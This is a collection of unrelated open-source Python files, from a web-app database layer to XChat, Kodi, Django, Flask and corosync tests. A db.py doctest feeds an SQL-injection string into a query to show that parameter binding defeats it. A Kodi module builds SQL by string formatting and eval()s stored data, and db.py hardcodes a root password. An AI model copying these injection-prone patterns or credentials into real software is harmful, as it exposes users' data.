passwd=? order by id desc', 'back-to-earth') >>> L[0].name u'Eva' >>> L[1].name u'Wall.E' ''' return _select(sql, False, *args) @with_connection def _update(sql, *args): global _db_ctx cursor = None sql = sql.replace('?', '%s') logging.info('SQL: %s, ARGS: %s' % (sql, args)) try: cursor = _db_ctx.connection.cursor() cursor.execute(sql, args) r = cursor.rowcount if _db_ctx.transactions == 0: logging.info('auto commit') _db_ctx.connection.commit() return r finally: if cursor: cursor.close() def insert(table, **kw): ''' Execute insert SQL. >>> u1 = dict(id=2000, name='Bob', email='bob@test.org', passwd='bobobob', last_modified=time.time()) >>> insert('user', **u1) 1 >>> u2 = select_one('select * from user where id=?', 2000) >>> u2.name u'Bob' >>> insert('user', **u2) Traceback (most recent call last): ... IntegrityError: 1062 (23000): Duplicate entry '2000' for key 'PRIMARY' ''' cols, args = zip(*kw.iteritems()) sql = 'insert into `%s` (%s) values (%s)' % (table, ','.join(['`%s`' % col for col in cols]), ','.join(['?' for i in range(len(cols))])) return _update(sql, *args) def update(sql, *args): r''' Execute update SQL. >>> u1 = dict(id=1000, name='Michael', email='michael@test.org', passwd='123456', last_modified=time.time()) >>> insert('user', **u1) 1 >>> u2 = select_one('select * from user where id=?', 1000) >>> u2.email u'michael@test.org' >>> u2.passwd u'123456' >>> update('update user set email=?, passwd=? where id=?', 'michael@example.org', '654321', 1000) 1 >>> u3 = select_one('select * from user where id=?', 1000) >>> u3.email u'michael@example.org' >>> u3.passwd u'654321' >>> update('update user set passwd=? where id=?', '***', '123\' or id=\'456') 0 ''' return _update(sql, *args) if __name__ == '__main__': logging.basicConfig(level=logging.WARNING) create_engine('root', '6503193', 'test') update('drop table if exists user') update('create table user (id int primary key, name text, email text, passwd text, last_modified real)') import doctest doctest.testmod(verbose=True)
wen1q84/awesome-python-webapp
www/transwarp/db.py
Python
gpl-2.0
10,402
# -*- coding: utf-8 -*- # vim:expandtab:autoindent:tabstop=4:shiftwidth=4:filetype=python:textwidth=0: # License: GPL2 or later see COPYING # Written by Seth Vidal # Copyright (C) 2012 Red Hat, Inc # this plugin dumps out two lists of pkgs: # A list of all available pkgs + repos + other data # A list of all installed pkgs + repos + other data # into the results dir # two files - available_pkgs.log # installed_pkgs.log # our imports from mockbuild.trace_decorator import traceLog import mockbuild.util # repoquery used repoquery_avail_opts = \ "--qf '%{name}-%{epoch}:%{version}-%{release}.%{arch} %{buildtime} %{size} %{pkgid} %{repoid}' '*'" # set up logging, module options requires_api_version = "1.1" # plugin entry point @traceLog() def init(plugins, conf, buildroot): PackageState(plugins, conf, buildroot) class PackageState(object): """dumps out a list of packages available and in the chroot""" # pylint: disable=too-few-public-methods @traceLog() def __init__(self, plugins, conf, buildroot): self.buildroot = buildroot self.state = buildroot.state self.conf = conf self.available_pkgs_enabled = self.conf['available_pkgs'] self.installed_pkgs_enabled = self.conf['installed_pkgs'] self.avail_done = False self.inst_done = False self.online = self.buildroot.config['online'] plugins.add_hook("postyum", self._availablePostYumHook) plugins.add_hook("prebuild", self._installedPreBuildHook) @traceLog() def _availablePostYumHook(self): if self.online and not self.avail_done and self.available_pkgs_enabled: with self.buildroot.uid_manager: self.state.start("Outputting list of available packages") out_file = self.buildroot.resultdir + '/available_pkgs.log' chrootpath = self.buildroot.make_chroot_path() if self.buildroot.config['package_manager'] == 'dnf': cmd = "/usr/bin/dnf --installroot={0} repoquery -c {0}/etc/dnf.conf {1} > {2}".format( chrootpath, repoquery_avail_opts, out_file) else: cmd = "/usr/bin/repoquery --installroot={0} -c {0}/etc/yum.conf {1} > {2}".format( chrootpath, repoquery_avail_opts, out_file) mockbuild.util.do(cmd, shell=True, env=self.buildroot.env) self.avail_done = True self.state.finish("Outputting list of available packages") @traceLog() def _installedPreBuildHook(self): if not self.inst_done and self.installed_pkgs_enabled: self.state.start("Outputting list of installed packages") out_file = self.buildroot.resultdir + '/installed_pkgs.log' cmd = "rpm -qa --root '%s' --qf '%%{nevra} %%{buildtime} %%{size} %%{pkgid} installed\\n' > %s" % ( self.buildroot.make_chroot_path(), out_file) with self.buildroot.uid_manager: mockbuild.util.do(cmd, shell=True, env=self.buildroot.env) self.inst_done = True self.state.finish("Outputting list of installed packages")
ianburrell/mock
py/mockbuild/plugins/package_state.py
Python
gpl-2.0
3,204
from scipy.stats import halflogistic import matplotlib.pyplot as plt fig, ax = plt.subplots(1, 1) # Calculate a few first moments: mean, var, skew, kurt = halflogistic.stats(moments='mvsk') # Display the probability density function (``pdf``): x = np.linspace(halflogistic.ppf(0.01), halflogistic.ppf(0.99), 100) ax.plot(x, halflogistic.pdf(x), 'r-', lw=5, alpha=0.6, label='halflogistic pdf') # Alternatively, the distribution object can be called (as a function) # to fix the shape, location and scale parameters. This returns a "frozen" # RV object holding the given parameters fixed. # Freeze the distribution and display the frozen ``pdf``: rv = halflogistic() ax.plot(x, rv.pdf(x), 'k-', lw=2, label='frozen pdf') # Check accuracy of ``cdf`` and ``ppf``: vals = halflogistic.ppf([0.001, 0.5, 0.999]) np.allclose([0.001, 0.5, 0.999], halflogistic.cdf(vals)) # True # Generate random numbers: r = halflogistic.rvs(size=1000) # And compare the histogram: ax.hist(r, normed=True, histtype='stepfilled', alpha=0.2) ax.legend(loc='best', frameon=False) plt.show()
platinhom/ManualHom
Coding/Python/scipy-html-0.16.1/generated/scipy-stats-halflogistic-1.py
Python
gpl-2.0
1,100
from flask import Response from flask.views import View from bson import json_util from mcp import mongo class BudgetType(View): # /<string:komuna>/budget-type/<int:year> # /budget-type/<string:komuna>/<int:year> # /budget-type/<string:company_slug> def dispatch_request(self, komuna=None, year=None, company_slug=None): ''' Ruajme rezultatin qe na kthehet nga databaza permes ekzekutimit te kerkeses(Query) ne json. ''' aggegation = [] # If a commune or year is specified, create a match operation if komuna != None and year != None: match = { "$match": { "komuna.slug": komuna, "viti": year } } aggegation.append(match) # else do the match for company_slug, create a match operation elif company_slug != None: match = { "$match": { "kompania.slug": company_slug, } } aggegation.append(match) # Create and add group aggregation operation group = { "$group": { "_id": { "tipi": "$tipiBugjetit" }, "vlera": { "$sum": "$kontrata.vlera" }, "cmimi": { "$sum": "$kontrata.qmimi" }, "numriKontratave": { "$sum": 1 } } } aggegation.append(group) # Create and add sort aggregation operation sort = { "$sort": { "_id.tipi": 1 } } aggegation.append(sort) # Create and add project aggregation operation project = { "$project": { "tipi": "$_id.tipi", "vlera": "$vlera", "cmimi": "$cmimi", "nrKontratave": "$numriKontratave", "_id": 0 } } aggegation.append(project) # Execute aggregation json = mongo.db.procurements.aggregate(aggegation) resp = Response( response=json_util.dumps(json['result']), mimetype='application/json') return resp
opendatakosovo/municipality-procurement-api
mcp/views/budget.py
Python
gpl-2.0
2,434
# -*- coding: utf-8 -*- """ * Copyright (C) 2011-2016, it-novum GmbH <community@openattic.org> * * openATTIC is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by * the Free Software Foundation; version 2. * * This package is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. """ import json from django.db import models from django.contrib.auth.models import User class UserProfile(models.Model): user = models.ForeignKey(User) class Meta: unique_together = ("user",) def __getitem__(self, item): try: pref = self.userpreference_set.get(setting=item) except UserPreference.DoesNotExist: raise KeyError(item) else: return json.loads(pref.value) def __setitem__(self, item, value): try: pref = self.userpreference_set.get(setting=item) except UserPreference.DoesNotExist: pref = UserPreference(profile=self, setting=item) pref.value = json.dumps(value) pref.save() return value def __delitem__(self, item): try: pref = self.userpreference_set.get(setting=item) except UserPreference.DoesNotExist: raise KeyError(item) else: pref.delete() def __contains__(self, item): try: self.userpreference_set.get(setting=item) except UserPreference.DoesNotExist: return False else: return True def __len__(self): return self.userpreference_set.count() def __iter__(self): return iter(self.userpreference_set.all()) def filter_prefs(self, pref_filter): filtered_prefs = [] for preference in self.userpreference_set.all(): if preference.setting in pref_filter: filtered_prefs.append(preference) return filtered_prefs class UserPreference(models.Model): profile = models.ForeignKey(UserProfile) setting = models.CharField(max_length=50) value = models.TextField() class Meta: unique_together = ("profile", "setting") def __unicode__(self): return self.setting
openattic/openattic
backend/userprefs/models.py
Python
gpl-2.0
2,420
#!/usr/bin/env python3 # Copyright (c) Meta Platforms, Inc. and affiliates. # # This software may be used and distributed according to the terms of the # GNU General Public License version 2. import logging import os from typing import Dict, Optional from eden.integration.lib import hgrepo from .lib.hg_extension_test_base import EdenHgTestCase, hg_test @hg_test # pyre-ignore[13]: T62487924 class UndoTest(EdenHgTestCase): commit1: str def populate_backing_repo(self, repo: hgrepo.HgRepository) -> None: repo.write_file("src/common/foo/test.txt", "testing\n") self.commit1 = repo.commit("Initial commit.") def edenfs_logging_settings(self) -> Optional[Dict[str, str]]: edenfs_log_levels = {} log = logging.getLogger("eden.test.undo") if log.getEffectiveLevel() >= logging.DEBUG: edenfs_log_levels["eden.fs.inodes.TreeInode"] = "DBG5" return edenfs_log_levels def test_undo_commit_with_new_dir(self) -> None: log = logging.getLogger("eden.test.undo") # Add a new file in a new directory log.debug("=== commit 1: %s", self.commit1) base_dir = "src/common/foo" new_dir = "src/common/foo/newdir" new_file = "src/common/foo/newdir/code.c" self.mkdir(new_dir) self.write_file(new_file, "echo hello world\n") # Add the file and create a new commit log.debug("=== hg add") self.hg("add", new_file) log.debug("=== hg commit") commit2 = self.repo.commit("Added newdir\n") log.debug("=== commit 2: %s", commit2) self.assert_status_empty() self.assertNotEqual(self.repo.get_head_hash(), self.commit1) # Use 'hg undo' to revert the commit log.debug("=== hg undo") self.hg("undo") log.debug("=== undo done") self.assert_status_empty() log.debug("=== new head: %s", self.repo.get_head_hash()) self.assertEqual(self.repo.get_head_hash(), self.commit1) # listdir() should only return test.txt now, and not newdir dir_entries = os.listdir(self.get_path(base_dir)) self.assertEqual(dir_entries, ["test.txt"]) # stat() calls should fail with ENOENT for newdir # This exercises a regression we have had in the past where we did not # flush the kernel inode cache entries properly, causing listdir() # to report the contents correctly but stat() to report that the # directory still existed. self.assertFalse(os.path.exists(self.get_path(new_dir)))
facebookexperimental/eden
eden/integration/hg/undo_test.py
Python
gpl-2.0
2,575
# -*- coding: utf-8 -*- ''' Specto Add-on Copyright (C) 2015 lambda This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. ''' try: from sqlite3 import dbapi2 as database except: from pysqlite2 import dbapi2 as database import json,os,xbmc,xbmcaddon from resources.lib.modules import control addonInfo = xbmcaddon.Addon().getAddonInfo dataPath = xbmc.translatePath(addonInfo('profile')).decode('utf-8') favouritesFile = os.path.join(dataPath, 'favourites.db') def getFavourites(content): try: dbcon = database.connect(favouritesFile) dbcur = dbcon.cursor() dbcur.execute("SELECT * FROM %s" % content) items = dbcur.fetchall() items = [(i[0].encode('utf-8'), eval(i[1].encode('utf-8'))) for i in items] except: items = [] return items def addFavourite(meta, content): try: item = dict() meta = json.loads(meta) # print "META DUMP FAVOURITES %s" % meta try: id = meta['imdb'] except: id = meta['tvdb'] if 'title' in meta: title = item['title'] = meta['title'] if 'tvshowtitle' in meta: title = item['title'] = meta['tvshowtitle'] if 'year' in meta: item['year'] = meta['year'] if 'poster' in meta: item['poster'] = meta['poster'] if 'fanart' in meta: item['fanart'] = meta['fanart'] if 'imdb' in meta: item['imdb'] = meta['imdb'] if 'tmdb' in meta: item['tmdb'] = meta['tmdb'] if 'tvdb' in meta: item['tvdb'] = meta['tvdb'] if 'tvrage' in meta: item['tvrage'] = meta['tvrage'] control.makeFile(dataPath) dbcon = database.connect(favouritesFile) dbcur = dbcon.cursor() dbcur.execute("CREATE TABLE IF NOT EXISTS %s (""id TEXT, ""items TEXT, ""UNIQUE(id)"");" % content) dbcur.execute("DELETE FROM %s WHERE id = '%s'" % (content, id)) dbcur.execute("INSERT INTO %s Values (?, ?)" % content, (id, repr(item))) dbcon.commit() control.refresh() control.infoDialog('Added to Watchlist', heading=title) except: return def deleteFavourite(meta, content): try: meta = json.loads(meta) if 'title' in meta: title = meta['title'] if 'tvshowtitle' in meta: title = meta['tvshowtitle'] try: dbcon = database.connect(favouritesFile) dbcur = dbcon.cursor() try: dbcur.execute("DELETE FROM %s WHERE id = '%s'" % (content, meta['imdb'])) except: pass try: dbcur.execute("DELETE FROM %s WHERE id = '%s'" % (content, meta['tvdb'])) except: pass try: dbcur.execute("DELETE FROM %s WHERE id = '%s'" % (content, meta['tmdb'])) except: pass dbcon.commit() except: pass control.refresh() control.infoDialog('Removed From Watchlist', heading=title) except: return
repotvsupertuga/repo
plugin.video.zen/resources/lib/modules/favourites.py
Python
gpl-2.0
3,527
import fsui class ImageButton(fsui.ImageButton): pass
FrodeSolheim/fs-uae-launcher
workspace/ui/image_button.py
Python
gpl-2.0
60
# ~*~ coding: utf-8 ~*~ from rest_framework import serializers class InsecureCommandAlertSerializer(serializers.Serializer): input = serializers.CharField() asset = serializers.CharField() user = serializers.CharField() risk_level = serializers.IntegerField() session = serializers.UUIDField()
skyoo/jumpserver
apps/terminal/serializers/command.py
Python
gpl-2.0
316
# # Copyright (C) 2016 The CyanogenMod Project # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # def FullOTA_PostValidate(info): info.script.AppendExtra('run_program("/sbin/e2fsck", "-fy", "/dev/block/platform/msm_sdcc.1/by-name/system");'); info.script.AppendExtra('run_program("/tmp/install/bin/resize2fs_static", "/dev/block/platform/msm_sdcc.1/by-name/system");'); info.script.AppendExtra('run_program("/sbin/e2fsck", "-fy", "/dev/block/platform/msm_sdcc.1/by-name/system");');
nian0114/android_device_xiaomi_virgo
releasetools/releasetools.py
Python
gpl-2.0
994
#!/usr/bin/python ############################################################################ # Copyright (C) 2005 by JTP # # jtpowell at hotmail dot com # # # # This program is free software; you can redistribute it and#or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation; either version 2 of the License, or # # (at your option) any later version. # # # # This program is distributed in the hope that it will be useful, # # but WITHOUT ANY WARRANTY; without even the implied warranty of # # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # # GNU General Public License for more details. # # # # You should have received a copy of the GNU General Public License # # along with this program; if not, write to the # # Free Software Foundation, Inc., # # 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. # ############################################################################ __module_name__ = "Cancel's GoogleBot" __module_version__ = "2.2.0" __module_description__ = "GoogleBot by Cancel" import xchat import os import ConfigParser import re import string import HTMLParser import threading import google print "\0034",__module_name__, __module_version__,"has been loaded\003" #---Globals---#000000#FFFFFF---------------------------------------------------- option = {} xchatdir = xchat.get_info("xchatdir") inifile = os.path.join(xchatdir, "googlebot.ini") def makedict(**kwargs): return kwargs color = makedict(white="\0030", black="\0031", blue="\0032", red="\0034", dred="\0035", purple="\0036", dyellow="\0037", yellow="\0038", bgreen="\0039", dgreen="\00310", green="\00311", bpurple="\00313", dgrey="\00314", lgrey="\00315", close="\003") #---Classes---#000000#FFFFFF---------------------------------------------------- class __Stripper(HTMLParser.HTMLParser): def strip(self, some_html): self.theString = "" self.feed(some_html) self.close() return self.theString def handle_data(self, data): self.theString += data #---Functions---#000000#FFFFFF-------------------------------------------------- def load_vars(): global option try: config = ConfigParser.ConfigParser() infile = open(inifile) config.readfp(infile) infile.close() #Parse main for item in config.items("main"): option[item[0]] = item[1] print color["dgreen"], "CancelBot GoogleBot googlebot.ini Load Success" if option["licensekey"] == '': print color["red"], "You MUST have a google license key! Get at .cfgphttp://www.google.com/api" else: google.LICENSE_KEY = option["licensekey"] option["service"] = config.getboolean("main", "service") option["resultsintab"] = config.getboolean("main", "resultsintab") option["publiclimit"] = config.getint("main", "publiclimit") option["privatelimit"] = config.getint("main", "privatelimit") option["locallimit"] = config.getint("main", "locallimit") option["safesearch"] = config.getint("main", "safesearch") except EnvironmentError: print color["red"], "Could not open googlebot.ini put it in your " + xchatdir def on_text(word, word_eol, userdata): destination = xchat.get_context() triggernick = word[0].lower() trigger = re.split(' ',word[1].lower()) if trigger[0] == '!google' and option["service"] == True: threading.Thread(target=google_query, args=(string.join(trigger[1:]), option["publiclimit"], destination)).start() if trigger[0] == '!spell' or trigger[0] == '!spelling' and option["service"] == True: threading.Thread(target=google_spelling, args=(string.join(trigger[1:]), destination)).start() def on_pvt(word, word_eol, userdata): destination = xchat.get_context() triggernick = word[0].lower() trigger = re.split(' ',word[1].lower()) if trigger[0] == '!google' and option["service"] == True: threading.Thread(target=google_query, args=(string.join(trigger[1:]), option["privatelimit"], destination)).start() if trigger[0] == '!spell' or trigger[0] == '!spelling' and option["service"] == True: threading.Thread(target=google_spelling, args=(string.join(trigger[1:]), destination)).start() def google_query(query, searchlimit, destination): try: data = google.doGoogleSearch(query, start=0, maxResults=searchlimit, filter=1, restrict='', safeSearch=option["safesearch"]) stripper = __Stripper() for item in data.results: item.title = stripper.strip(item.title) item.snippet = stripper.strip(item.snippet) if option["resultsintab"] == True: destination.prnt(color["red"] + item.title + " " + color["black"] + item.snippet + " " + color["blue"] + item.URL) else: destination.command("say " + color["red"] + item.title + " " + color["black"] + item.snippet + " " + color["blue"] + item.URL) except Exception, args: print color["red"], Exception, args return def google_spelling(query, destination): try: data = google.doSpellingSuggestion(query) if data != '': if option["resultsintab"] == True: destination.prnt(data) else: destination.command("say " + data) except Exception, args: print color["red"], Exception, args return def local_google(word, word_eol, userdata): if option["resultsintab"] == True: xchat.command("query " + xchat.get_info("nick")) destination = xchat.find_context(channel=xchat.get_info("nick")) destination.command("settab >>Google<<") else: destination = xchat.get_context() if word[1] == 'query': threading.Thread(target=google_query, args=(word_eol[2], option["locallimit"], destination)).start() if word[1] == 'spell' or word[1] == 'spelling': threading.Thread(target=google_spelling, args=(word_eol[2], destination)).start() return xchat.EAT_ALL load_vars() #---Hooks---#000000#FFFFFF------------------------------------------------------ xchat.hook_print('Channel Message', on_text) xchat.hook_print('Private Message to Dialog', on_pvt) xchat.hook_command('google', local_google, help="/google query what to lookup or /google spell word to check") #LICENSE GPL #Last modified 12-14-06
tecan/xchat-rt
plugins/scripts/cancelbot-code-55/googlebot/googlebot.py
Python
gpl-2.0
7,044
from setuptools import setup, find_packages with open('README.rst', 'r') as inp: LONG_DESCRIPTION = inp.read() setup( name='django-exchange-docs', version='1.3.1', author='Boundless Spatial', author_email='contact@boundlessgeo.com', url='https://github.com/boundlessgeo/exchange-documentation', download_url="https://github.com/boundlessgeo/exchange-documentation", description="A Django wrapper for Boundless Exchange Documentation.", long_description=LONG_DESCRIPTION, license='GPLv2', packages=find_packages(), include_package_data=True, zip_safe=False, classifiers=[ 'Topic :: Documentation :: Sphinx', 'Topic :: Software Development :: Documentation', 'Intended Audience :: End Users/Desktop', 'Intended Audience :: System Administrators', 'Environment :: Web Environment', 'License :: OSI Approved :: GNU General Public License v2 (GPLv2)', 'Development Status :: 3 - Alpha', 'Operating System :: OS Independent', 'Programming Language :: Python :: 2.7', 'Framework :: Django :: 1.8', ] )
staceyberry/exchange-documentation
setup.py
Python
gpl-2.0
1,137
from django import forms from utils.static import static_url from django.utils.encoding import force_unicode from django.utils.safestring import mark_safe from django.forms.util import flatatt from django.template.loader import render_to_string class TagEdit(forms.TextInput): def render(self, name, value, attrs=None): input = super(TagEdit, self).render(name, value, attrs) autocomplete = '/api/tags/suggest' return input + render_to_string('tags/tagedit.html', {'id': attrs['id'], 'autocomplete_url': autocomplete }) class Media: js = (static_url('js/jquery/jquery-1.7.min.js'), static_url('tagedit/js/jquery.tagedit.js'), static_url('tagedit/js/jquery.autoGrowInput.js'), static_url('js/jquery/jquery-ui-1.8.16.custom.min.js'), ) css = { 'all': (static_url('tagedit/css/jquery.tagedit.css'), static_url('tagedit/css/ui-lightness/jquery-ui-1.8.6.custom.css'), ), }
mivanov/editkit
editkit/tags/widgets.py
Python
gpl-2.0
1,136
# pylint: disable=too-many-lines from unittest import TestCase from pcs_test.tools.misc import outdent from pcs.lib.corosync import config_parser class SectionTest(TestCase): def test_empty_section(self): section = config_parser.Section("mySection") self.assertEqual(section.parent, None) self.assertEqual(section.get_root(), section) self.assertEqual(section.name, "mySection") self.assertEqual(section.get_attributes(), []) self.assertEqual(section.get_sections(), []) self.assertTrue(section.empty) self.assertEqual(str(section), "") def test_is_section_empty(self): section = config_parser.Section("mySection") self.assertTrue(section.empty) section = config_parser.Section("mySection") section.add_attribute("name", "value") self.assertFalse(section.empty) section = config_parser.Section("mySection") section.add_section(config_parser.Section("subSection")) self.assertFalse(section.empty) section = config_parser.Section("mySection") section.add_attribute("name", "value") section.add_section(config_parser.Section("subSection")) self.assertFalse(section.empty) def test_attribute_add(self): section = config_parser.Section("mySection") section.add_attribute("name1", "value1") self.assertEqual( section.get_attributes(), [ ["name1", "value1"], ], ) section.add_attribute("name2", "value2") self.assertEqual( section.get_attributes(), [ ["name1", "value1"], ["name2", "value2"], ], ) section.add_attribute("name2", "value2") self.assertEqual( section.get_attributes(), [ ["name1", "value1"], ["name2", "value2"], ["name2", "value2"], ], ) def test_attribute_get(self): section = config_parser.Section("mySection") section.add_attribute("name1", "value1") section.add_attribute("name2", "value2") section.add_attribute("name3", "value3") section.add_attribute("name2", "value2a") self.assertEqual( section.get_attributes(), [ ["name1", "value1"], ["name2", "value2"], ["name3", "value3"], ["name2", "value2a"], ], ) self.assertEqual( section.get_attributes("name1"), [ ["name1", "value1"], ], ) self.assertEqual( section.get_attributes("name2"), [ ["name2", "value2"], ["name2", "value2a"], ], ) self.assertEqual(section.get_attributes("nameX"), []) def test_attribute_get_dict(self): section = config_parser.Section("mySection") self.assertEqual(section.get_attributes_dict(), {}) section = config_parser.Section("mySection") section.add_attribute("name1", "value1") section.add_attribute("name2", "value2") section.add_attribute("name3", "value3") self.assertEqual( section.get_attributes_dict(), { "name1": "value1", "name2": "value2", "name3": "value3", }, ) section = config_parser.Section("mySection") section.add_attribute("name1", "value1") section.add_attribute("name2", "value2") section.add_attribute("name3", "value3") section.add_attribute("name1", "value1A") section.add_attribute("name3", "value3A") section.add_attribute("name1", "") self.assertEqual( section.get_attributes_dict(), { "name1": "", "name2": "value2", "name3": "value3A", }, ) def test_attribute_value(self): section = config_parser.Section("mySection") self.assertEqual(section.get_attribute_value("name"), None) section = config_parser.Section("mySection") section.add_attribute("name1", "value1") section.add_attribute("name2", "value2") self.assertEqual(section.get_attribute_value("name", "value"), "value") section = config_parser.Section("mySection") section.add_attribute("name", "value") section.add_attribute("name1", "value1") section.add_attribute("name", "valueA") section.add_attribute("name1", "value1A") self.assertEqual(section.get_attribute_value("name"), "valueA") def test_attribute_set(self): section = config_parser.Section("mySection") section.set_attribute("name1", "value1") self.assertEqual( section.get_attributes(), [ ["name1", "value1"], ], ) section.set_attribute("name1", "value1") self.assertEqual( section.get_attributes(), [ ["name1", "value1"], ], ) section.set_attribute("name1", "value1a") self.assertEqual( section.get_attributes(), [ ["name1", "value1a"], ], ) section.set_attribute("name2", "value2") self.assertEqual( section.get_attributes(), [ ["name1", "value1a"], ["name2", "value2"], ], ) section.set_attribute("name1", "value1") self.assertEqual( section.get_attributes(), [ ["name1", "value1"], ["name2", "value2"], ], ) section.add_attribute("name3", "value3") section.add_attribute("name2", "value2") self.assertEqual( section.get_attributes(), [ ["name1", "value1"], ["name2", "value2"], ["name3", "value3"], ["name2", "value2"], ], ) section.set_attribute("name2", "value2a") self.assertEqual( section.get_attributes(), [ ["name1", "value1"], ["name2", "value2a"], ["name3", "value3"], ], ) section.add_attribute("name1", "value1") section.add_attribute("name1", "value1") section.set_attribute("name1", "value1") self.assertEqual( section.get_attributes(), [ ["name1", "value1"], ["name2", "value2a"], ["name3", "value3"], ], ) def test_attribute_change(self): section = config_parser.Section("mySection") section.add_attribute("name1", "value1") section.add_attribute("name2", "value2") section.add_attribute("name3", "value3") section.add_attribute("name2", "value2") attr = section.get_attributes()[1] attr[0] = "name2a" attr[1] = "value2a" self.assertEqual( section.get_attributes(), [ ["name1", "value1"], ["name2a", "value2a"], ["name3", "value3"], ["name2", "value2"], ], ) def test_attribute_del(self): section = config_parser.Section("mySection") section.add_attribute("name1", "value1") section.add_attribute("name2", "value2") section.add_attribute("name3", "value3") section.add_attribute("name2", "value2") section.del_attribute(section.get_attributes()[1]) self.assertEqual( section.get_attributes(), [ ["name1", "value1"], ["name3", "value3"], ], ) section.del_attribute(["name3", "value3"]) self.assertEqual( section.get_attributes(), [ ["name1", "value1"], ], ) section.del_attribute(["name3", "value3"]) self.assertEqual( section.get_attributes(), [ ["name1", "value1"], ], ) def test_attribute_del_by_name(self): section = config_parser.Section("mySection") section.add_attribute("name1", "value1") section.add_attribute("name2", "value2") section.add_attribute("name3", "value3") section.add_attribute("name2", "value2") section.del_attributes_by_name("nameX") self.assertEqual( section.get_attributes(), [ ["name1", "value1"], ["name2", "value2"], ["name3", "value3"], ["name2", "value2"], ], ) section.del_attributes_by_name("name2", "value2") self.assertEqual( section.get_attributes(), [ ["name1", "value1"], ["name3", "value3"], ], ) section.add_attribute("name2", "value2") section.add_attribute("name2", "value2a") self.assertEqual( section.get_attributes(), [ ["name1", "value1"], ["name3", "value3"], ["name2", "value2"], ["name2", "value2a"], ], ) section.del_attributes_by_name("name2", "value2") self.assertEqual( section.get_attributes(), [ ["name1", "value1"], ["name3", "value3"], ["name2", "value2a"], ], ) section.add_attribute("name3", "value3a") self.assertEqual( section.get_attributes(), [ ["name1", "value1"], ["name3", "value3"], ["name2", "value2a"], ["name3", "value3a"], ], ) section.del_attributes_by_name("name3") self.assertEqual( section.get_attributes(), [ ["name1", "value1"], ["name2", "value2a"], ], ) def test_section_add(self): root = config_parser.Section("root") child1 = config_parser.Section("child1") child1a = config_parser.Section("child1a") child2 = config_parser.Section("child2") root.add_section(child1) child1.add_section(child1a) root.add_section(child2) self.assertEqual(root.parent, None) self.assertEqual(child1.parent.name, "root") self.assertEqual(child1a.parent.name, "child1") self.assertEqual(child2.parent.name, "root") self.assertEqual( str(root), outdent( """\ child1 { child1a { } } child2 { } """ ), ) child2.add_section(child1a) self.assertEqual(child1a.parent.name, "child2") self.assertEqual( str(root), outdent( """\ child1 { } child2 { child1a { } } """ ), ) self.assertRaises( config_parser.CircularParentshipException, child1a.add_section, child1a, ) self.assertRaises( config_parser.CircularParentshipException, child1a.add_section, child2, ) self.assertRaises( config_parser.CircularParentshipException, child1a.add_section, root ) def test_section_get(self): root = config_parser.Section("") child1 = config_parser.Section("child1") child2 = config_parser.Section("child2") childa1 = config_parser.Section("childA") childa2 = config_parser.Section("childA") childa3 = config_parser.Section("childA") childa4 = config_parser.Section("childA") childb1 = config_parser.Section("childB") childb2 = config_parser.Section("childB") childa1.add_attribute("id", "1") childa2.add_attribute("id", "2") childa3.add_attribute("id", "3") childa4.add_attribute("id", "4") childb1.add_attribute("id", "5") childb2.add_attribute("id", "6") root.add_section(child1) root.add_section(child2) child1.add_section(childa1) child1.add_section(childa2) child1.add_section(childb1) child2.add_section(childa3) child2.add_section(childb2) child2.add_section(childa4) self.assertEqual( str(root), outdent( """\ child1 { childA { id: 1 } childA { id: 2 } childB { id: 5 } } child2 { childA { id: 3 } childB { id: 6 } childA { id: 4 } } """ ), ) self.assertEqual( "---\n".join([str(x) for x in root.get_sections()]), outdent( """\ child1 { childA { id: 1 } childA { id: 2 } childB { id: 5 } } --- child2 { childA { id: 3 } childB { id: 6 } childA { id: 4 } } """ ), ) self.assertEqual( "---\n".join([str(x) for x in root.get_sections("child1")]), outdent( """\ child1 { childA { id: 1 } childA { id: 2 } childB { id: 5 } } """ ), ) self.assertEqual( "---\n".join([str(x) for x in child1.get_sections("childA")]), outdent( """\ childA { id: 1 } --- childA { id: 2 } """ ), ) self.assertEqual( "---\n".join([str(x) for x in child1.get_sections("child2")]), "" ) def test_section_del(self): root = config_parser.Section("") child1 = config_parser.Section("child1") child2 = config_parser.Section("child2") childa1 = config_parser.Section("childA") childa2 = config_parser.Section("childA") childa3 = config_parser.Section("childA") childa4 = config_parser.Section("childA") childb1 = config_parser.Section("childB") childb2 = config_parser.Section("childB") childa1.add_attribute("id", "1") childa2.add_attribute("id", "2") childa3.add_attribute("id", "3") childa4.add_attribute("id", "4") childb1.add_attribute("id", "5") childb2.add_attribute("id", "6") root.add_section(child1) root.add_section(child2) child1.add_section(childa1) child1.add_section(childa2) child1.add_section(childb1) child2.add_section(childa3) child2.add_section(childb2) child2.add_section(childa4) self.assertEqual( str(root), outdent( """\ child1 { childA { id: 1 } childA { id: 2 } childB { id: 5 } } child2 { childA { id: 3 } childB { id: 6 } childA { id: 4 } } """ ), ) child2.del_section(childb2) self.assertEqual(childb2.parent, None) self.assertEqual( str(root), outdent( """\ child1 { childA { id: 1 } childA { id: 2 } childB { id: 5 } } child2 { childA { id: 3 } childA { id: 4 } } """ ), ) root.del_section(child2) self.assertEqual(child2.parent, None) self.assertEqual( str(root), outdent( """\ child1 { childA { id: 1 } childA { id: 2 } childB { id: 5 } } """ ), ) self.assertRaises(ValueError, root.del_section, child2) self.assertEqual(childa1.parent.name, "child1") self.assertRaises(ValueError, child2.del_section, childa1) self.assertEqual(childa1.parent.name, "child1") child1.del_section(childb1) self.assertEqual(childb1.parent, None) 